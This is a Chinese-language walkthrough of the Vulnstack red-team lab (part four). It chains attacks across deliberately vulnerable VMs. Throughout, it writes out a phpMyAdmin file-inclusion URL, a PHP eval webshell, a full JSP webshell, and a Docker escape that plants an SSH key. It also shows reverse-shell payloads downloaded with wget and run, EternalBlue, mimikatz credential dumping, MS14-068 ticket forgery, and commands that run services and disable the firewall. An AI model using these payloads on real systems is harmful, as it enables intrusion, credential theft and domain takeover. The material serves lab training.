红日安全vulnstack-ATT&CK实战系列 红队实战(四)
一.介绍下载地址http://vulnstack.qiyuanxuetang.net/vuln/detail/6/st漏洞利用phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、域渗透机器密码web: ubuntu:ubuntuwin7: douser:Dotest123DC: administrator:
一.介绍
下载地址http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
strusts漏洞利用phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、域渗透
机器密码
web: ubuntu:ubuntu
win7: douser:Dotest123
DC: administrator:Test2008
二.环境搭建
下载完成后为三个压缩包,解压后如图
在每个文件夹中创建一个空文件夹,将ovf文件直接拉入vmware
虚拟网络编辑器配置
Ubuntu 64 配置(192.168.10.103、192.168.183.128)
DC(192.168.183.130)
win7(192.168.183.129)
Web服务器为Ubuntu,漏洞被封装在docker里,需要手动开启
s2-045
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
CVE-2017-12615(tomcat put上传)
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cve-2018-12613(phpmyadmin文件包含漏洞)
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
总体思路
web环境中有三个docker容器,都有漏洞并且都能利用拿到shell,但是因为在docker环境中,所以需要docker逃逸,这里利用特权模式逃逸配合创建ssh密匙实现无密码连接,或者新建用户登录都可拿到web靶机,然后信息收集后发现剩下两台靶机都在内网中,所以这里需要靠web靶机利用chisel搭建路由,搭建好之后发现445端口都开放并且存在永恒之蓝漏洞,经过利用后拿到其中一个win7域用户,由于桌面本身就存在许多能利用的工具,这里利用mimikatz+MS14-068拿下本机密码并提权到域控靶机上,最后利用win7 copy过去一个恶意exe文件,然后利用window sc命令完成执行,拿下最终DC
三.渗透测试
外网渗透
信息收集
arp-scan -l
发现192.168.10.103,进行端口扫描
nmap 192.168.10.103
-A全面扫描
nmap 192.168.10.103 -A
可以发现开了22的ssh,2001的struts2,2002的tomcat,2003的phpmyadmin,直接找对应漏洞利用方法
漏洞利用
struts2
structs工具可以直接扫然后利用拿到shell
phpmyadmin
直接搜phpmyadmin 4.8.1
版本就有远程文件包含漏洞(CVE-2018-12613)等信息,再查看(CVE-2018-12613),首先任意文件读取
http://192.168.10.103:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
网上这个漏洞复现有两种方法,一个是插入一句话木马,通过生成的frm文件来进行命令执行,另一个是通过文件包含+session缓存文件
命令go后F12查看phpMyAdmin
的value值
这里利用的原理是它会将这个插入的数据存入tmp/sess_"value"
中,我们利用文件包含包含这个数据,然后进行命令执行
<?php @eval($_GET['qwer']);?>
tomcat
网上直接搜tomcat8.5.19,找到漏洞合集,这里可以PUT直接写入jsp木马,用冰蝎连接
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
docker逃逸
这里我们知道自己在docker环境里,但是通过判断自己是不是在docker环境里的命令是
ls -alh /.dockerenv #判断根目录下是否存在 .dockerenv 文件
cat /proc/1/cgroup #查看系统的cgroup系统,看是否有docker字样
这里还在docker环境中,这里利用特权模式逃逸:管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限
fdisk -l
/tmp/ >mkdir test
/tmp/ >mount /dev/sda1 test
/tmp/ >ls /test
本来想写个crontab反弹shell,好像命令有点长写不出来,又想着弄成.sh文件写在服务器上,下载下来执行,搞了20分钟也没反应
看着冰蝎的一键操作陷入了沉思,不过shell、msf反弹过去照样还是docker里
这里再利用获取ssh远程连接的方式
kali本地生成ssh秘钥
cat /etc/ssh/sshkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClHgmj5/uE69LBEDscWysg92G9VN7Z8I9BInJDxjVf5XPvUAfv0zkPjbcAXWVjU/rBGcjPdkvppum7pNtHx3dxnTLmO3eAmM0XYtmAb53zj+Xuv254Fpk4tkhTGchw2pEFcGWTV+9kpZCXL0rWeLKbTGkqyH7L6PfT1/KE9zvAZNDq7VUya7HFKz9QclHxq3g0Ji6nV5ZKx8zTobSkFPYk+3o7N2Y/8mIF1eTYJT8ib24d4d48Z/rvqqBolTM+UU3Y6v40Gp082EK31CvhOoef0v6mqpAA6zITmGTg2AY0iTYZLUDJWpCnBOZW13lJGB5sVySR5Eic6Ggh/JQzjjyRvIKhCeftZ0RdEvYO1W/jXRPdM+yerkT/RzOzsCGxrUtZFgNZgRj5ZLrYmAQX8sZPVo5419IQIhmUCrb29FJPQt/EYEX0MMGqNtDAbX2LW92RqmnmaCQQt440PnT+Lzb257+FxCz0Qgy4BZdKKKkRNqdyuioct1L+zYwCKVHKyuU= root@kali
在服务器编写一个ssh.sh
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClHgmj5/uE69LBEDscWysg92G9VN7Z8I9BInJDxjVf5XPvUAfv0zkPjbcAXWVjU/rBGcjPdkvppum7pNtHx3dxnTLmO3eAmM0XYtmAb53zj+Xuv254Fpk4tkhTGchw2pEFcGWTV+9kpZCXL0rWeLKbTGkqyH7L6PfT1/KE9zvAZNDq7VUya7HFKz9QclHxq3g0Ji6nV5ZKx8zTobSkFPYk+3o7N2Y/8mIF1eTYJT8ib24d4d48Z/rvqqBolTM+UU3Y6v40Gp082EK31CvhOoef0v6mqpAA6zITmGTg2AY0iTYZLUDJWpCnBOZW13lJGB5sVySR5Eic6Ggh/JQzjjyRvIKhCeftZ0RdEvYO1W/jXRPdM+yerkT/RzOzsCGxrUtZFgNZgRj5ZLrYmAQX8sZPVo5419IQIhmUCrb29FJPQt/EYEX0MMGqNtDAbX2LW92RqmnmaCQQt440PnT+Lzb257+FxCz0Qgy4BZdKKKkRNqdyuioct1L+zYwCKVHKyuU= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys
最后kali中-i连接
ssh -i /etc/ssh/sshkey ubuntu@192.168.10.103
上线msf
上线msf,生成shell马,仍然上传到服务器上利用wget
msf:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f elf > shell1.elf #将shell1.elf上传到可下载的服务器上
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.10.105 #攻击机
run
ubuntu:
wget http://yster.live/shell1.elf #下载那个shell1.elf
chmod 777 shell1.elf
./shell1.elf
内网渗透
配置代理
在shell命令中ip a发现183段,以及msf中的run get_local_subnets
基本确定183是内网段了,接下来进行msf路由转发(已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由),这里我刚开始用的ew-master这个工具,win7靶机msf一上线就died,后面用的chisel才行,这里都记录一下
ew-master
ew-master,把ew下载到kali中然后上传到ubuntu中
upload /home/yster/ew-master/ew_for_linux64 /home/ubuntu
在kali中
vim /etc/proxychains.conf#注释sock4,加上socks5 127.0.0.1 1088
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在ubuntu端
chmod 777 ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.10.105 -e 1234 #这个地址是kali的地址
chisel
chisel
同样upload上传或者wget下载,放到ubuntu中
在ubuntu中
chmod 777 chisel
./chisel server -p 8888 --socks5
在kali中
./chisel client 192.168.10.103:8888 socks
win7的信息收集
通过msf中的bash查看内网主机,然后通过 proxychains nmap 扫描内网指定ip
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
proxychains nmap -sV -sT -Pn -n 192.168.183.129-130
利用msf这样扫描也可以
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-254
set threads 5
run
永恒之蓝利用
发现主机129和130,nmap扫描端口发现都开放445端口,利用扫描器测试发现也存在永恒之蓝漏洞
setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129
set lport 4444
run
拿ew做socks代理时候msf一连就断,没法执行命令,换成chisel就好了
130的话有防火墙,关掉防火墙的话连得上,这里chcp 65001 解决乱码问题
内网信息收集
net view #\\TESTWIN7-PC \\WIN-ENS2VR5TR3N
ping WIN-ENS2VR5TR3N #ip 192.168.183.130
net user #Administrator Guest testclone
这里cd到用户douser的桌面发现这些工具
这里操作之前要先换成DEMO\douser用户
getuid #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
提权拿域控
在win7中利用mimikatz导出密码、sid等信息
mimikatz.exe
sekurlsa::logonpasswords
因为桌面这里有ms14-028工具,这里可以配合mimikatz进行权限提升,拿到生成TGT票据
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
kerberos::purge #清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list #查看当前机器凭证
kerberos::ptc TGT_douser@demo.com.ccache #<上图中生成的票据文件>将票据注入到内存中
尝试执行命令
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
上传木马通过win7 copy到域控上
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.154.129 lport=5555 -f exe -o /home/yster/bind.exe
setg proxies socks5:127.0.0.1:1080
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhosts 192.168.183.130
set AutoRunScript post/windows/manage/migrate
run
利用sc创建服务来执行木马文件
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
关闭防火墙虽然显示失败了但还是执行会成功
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
更多推荐
所有评论(0)